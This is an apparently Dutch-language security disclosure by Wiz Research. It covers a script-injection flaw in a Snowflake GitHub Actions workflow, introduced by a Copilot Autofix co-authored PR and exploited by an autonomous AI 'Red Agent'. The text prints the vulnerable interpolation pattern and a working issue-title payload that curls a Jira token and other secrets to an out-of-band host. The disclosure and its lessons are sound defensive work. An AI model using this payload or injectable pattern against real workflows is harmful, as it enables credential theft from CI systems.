Red Agent exploiteert Snowflake-kwetsbaarheid die door GitHub Copilot werd gemist

Als onderdeel van lopend securityonderzoek via het HackerOne-programma voor kwetsbaarheden van Snowflake, identificeerde de "Red Agent" van Wiz Research—een autonome, AI-gestuurde tool voor securityonderzoek—een kritieke kwetsbaarheid in een GitHub Actions-workflow in een van de publieke repositories van Snowflake.

Dit incident benadrukt een nieuwe realiteit in softwareontwikkeling: kritieke kwetsbaarheden kunnen nog steeds worden geïntroduceerd en goedgekeurd binnen workflows waarin AI-coding agents worden gebruikt, terwijl autonome AI-security agents deze razendsnel in het wild kunnen ontdekken en exploiteren.

Na een verantwoorde melding door Wiz op 23 juni 2026 heeft Snowflake de kwetsbaarheid op dezelfde dag verholpen, de getroffen inloggegevens geroteerd en via gedetailleerde auditlogs geverifieerd dat Wiz de enige actor was tijdens de periode van blootstelling. Wiz heeft bevestigd dat alle gegevens die tijdens de proof-of-concept-testen zijn geraadpleegd, veilig zijn verwijderd.

Update 17 augustus 2026, 19:57 UTC: Dit artikel is bijgewerkt om te verduidelijken dat Copilot een co-auteur was die de samengevoegde PR en codewijziging heeft gecontroleerd en deze als veilig heeft aangemerkt, zonder de kritieke kwetsbaarheden op te merken. Het is onduidelijk of de codewijziging zelf AI-ondersteund was.

Samenvatting

Wiz Red Agent identificeerde een scriptinjectie-kwetsbaarheid in snowflakedb/snowflake-connector-net. Het probleem stelde een niet-geauthenticeerde gebruiker in staat om willekeurige commando's uit te voeren binnen een GitHub Actions-runner door een GitHub-issue te openen met een specifiek geformuleerde titel.

Cruciaal is dat de kwetsbaarheid live ging op 18 juni 2026—slechts vijf dagen voor de ontdekking—toen PR #1218 werd samengevoegd. De uiteindelijke squash-commit vermeldt "Copilot Autofix powered by AI" als co-auteur. De samengevoegde PR verving het gesaneerde inputpatroon van de repository door directe stringexpansie, maar de AI-ondersteunde security-review van GitHub signaleerde de resulterende kritieke kwetsbaarheid niet.

Analyse van de blootstelling

Ontdekking

De CI/CD-mogelijkheid van Wiz Red Agent scande de GitHub-organisatie van Snowflake en markeerde de jira_issue.yml workflow in snowflakedb/snowflake-connector-net als kwetsbaar voor scriptinjectie via onbetrouwbare input in run:-blokken.

De codewijziging

De wijziging zag er als volgt uit:

- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

De workflow werd geactiveerd bij issues: opened—wat betekent dat elke GitHub-gebruiker dit kon triggeren door een issue te openen—en interpoleerde de door de aanvaller gecontroleerde titel van het issue direct in een shell-script:

run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

De sed-escaping wordt uitgevoerd na de template-expansie van GitHub. Een enkel aanhalingsteken in de titel verbreekt de echo '...' en maakt het uitvoeren van willekeurige commando's mogelijk.

Dit injecteerbare patroon werd geïntroduceerd op 18 juni 2026, in commit 4a1b8ce (PR #1218: “SNOW-2069227: Update jira workflows”), met "Copilot Autofix powered by AI" als co-auteur.

De commit verwijderde het bestaande veilige patroon van de repository, waarbij de titel van het issue via een env:-variabele werd doorgegeven en de JSON-payload met jq werd gebouwd. In plaats daarvan werd gebruikgemaakt van de directe ${{ github.event.issue.title }} interpolatie. Met andere woorden: een AI- "autofix"-commit creëerde exact de injectievector.

De open "Security Gate"

De workflow had een if:-voorwaarde die beschermend leek:

if: (github.eventname == 'issues' && github.event.pullrequest.user.login != 'whitesource-for-github-com[bot]')

Echter, bij issues-events is github.event.pull_request altijd null. De voorwaarde reduceert dus tot (null != 'whitesource-for-github-com[bot]'). Dit is altijd waar, waardoor elke GitHub-gebruiker door de poort komt.

Exploitatie

Er werd een titel voor het issue geformuleerd die, na template-expansie, uit de echo-string brak en de Jira-inloggegevens exfiltreerde via een out-of-band callback.

Wanneer de CI/CD-mogelijkheid van de Red Agent aanvankelijk probeerde te exfiltreren met een standaard comment-teken (#), gaf de runner een bash-syntaxfout terug omdat het comment-teken de afsluitende haak van TITLE=$(...) consumeerde. In plaats van te stoppen of te falen, deed de Red Agent het volgende:

  1. Analyseerde autonoom de syntax-uitvoeringsfout.
  2. Paste de payload aan om ; echo ' te gebruiken om het shell-blok correct af te sluiten.
  3. Ontving succesvol de out-of-band callback.

De gebruikte payload: ' ; curl -s "https://subdomain.oast.me?t=printf %s $JIRAAPITOKEN|base64 -w0&e=printf %s $JIRAUSEREMAIL|base64 -w0&u=printf %s $JIRABASEURL|base64 -w0" ; echo '

Binnen enkele seconden ontving de listener de callback van een GitHub Actions-runner (Azure IP 20.106.182.197) met base64-gecodeerde inloggegevens.

Het geëxfiltreerde token was gekoppeld aan qa@snowflake.net op snowflakecomputing.atlassian.net, wat leesrechten gaf over de projecten voor engineering, security compliance en bug bounty tracking van Snowflake.

Herstel en Forensisch Onderzoek

  • Directe patching: Snowflake heeft de workflow op 23 juni 2026 gepatcht (commit 1dc7766, PR #1402), waarbij het veilige env:-variabele en jq --arg parsing-patroon volledig is hersteld.
  • Intrekken inloggegevens: Het betreffende JIRA-token is ingetrokken en vervangen.
  • Forensische verificatie: Een uitgebreide analyse van de auditlogs bevestigde dat er geen externe derden toegang hadden tot het eindpunt tijdens de vijf dagen van blootstelling. Alle afwijkende queries kwamen strikt overeen met de test-IP's van Wiz.

Belangrijkste lessen

  1. AI-codegeneratie vereist strikt toezicht: AI-coding tools voorspellen code op basis van probabilistische patronen, wat onbedoeld kan leiden tot het herintroduceren van verouderde of onveilige shell-patronen. AI-gegenereerde PR's moeten aan dezelfde statische analyse en security-controle worden onderworpen als menselijke code.
  2. Verkorting van discovery-windows: De kwetsbaarheid was slechts vijf dagen live voordat een geautomatiseerde agent deze ontdekte en valideerde. Security-operaties moeten zich aanpassen aan een landschap waarin geautomatiseerde ontdekking in uren plaatsvindt, wat snelle patch-cycli en kortlevende inloggegevens vereist.
  3. Voorkomen van AI-security regressies: Geautomatiseerde AI-assistenten missen vaak historische context over waarom specifieke codepatronen zijn gekozen. In dit incident verwijderde een geautomatiseerde PR een veilig env: + jq-parsing patroon dat expliciet was geïmplementeerd om shell-injectie te voorkomen. Security-teams moeten guardrails implementeren die voorkomen dat AI-agents gestructureerde dataparsers vervangen door directe string-interpolatie.

Tijdlijn van de openbaarmaking

  • 18 juni 2026: De kwetsbaarheid wordt live wanneer PR #1218 wordt samengevoegd, met Copilot Autofix als co-auteur.
  • 23 juni 2026: Wiz identificeert, exploiteert en meldt de kwetsbaarheid aan Snowflake via HackerOne (rapport #3819931).
  • 23 juni 2026: Slack-melding wordt verzonden naar het security-team van Snowflake.
  • 23 juni 2026 (dezelfde dag): Snowflake patcht de kwetsbare script-injectie workflow (commit 1dc7766, PR #1402) en herstelt het veilige env: + jq --arg patroon.
  • 24 juni 2026: Jira-token wordt geroteerd.
  • 25 juli 2026: Deadline voor publieke openbaarmaking (30 dagen na de oplossing van 25 juni, conform het beleid van Snowflake).

Reactie van Snowflake

Snowflake waardeert de verantwoorde rapportage en samenwerking van Wiz rond deze bevindingen via ons vulnerability disclosure- en bug bounty-programma, HackerOne. Wiz Research meldde een beveiligingskwetsbaarheid in een van de publieke GitHub-repositories van Snowflake. De melding werd ontvangen op 23 juni 2026 en is onmiddellijk onderzocht en verholpen. Ons onderzoek vond geen bewijs van ongeautoriseerde toegang. Het beschermen van onze systemen blijft een topprioriteit en we blijven ons inzetten voor het continu versterken van onze softwareontwikkelings- en beveiligingspraktijken. We werken samen met Wiz om deze lessen te delen met de bredere sector om de brede adoptie van deze security-best practices aan te moedigen.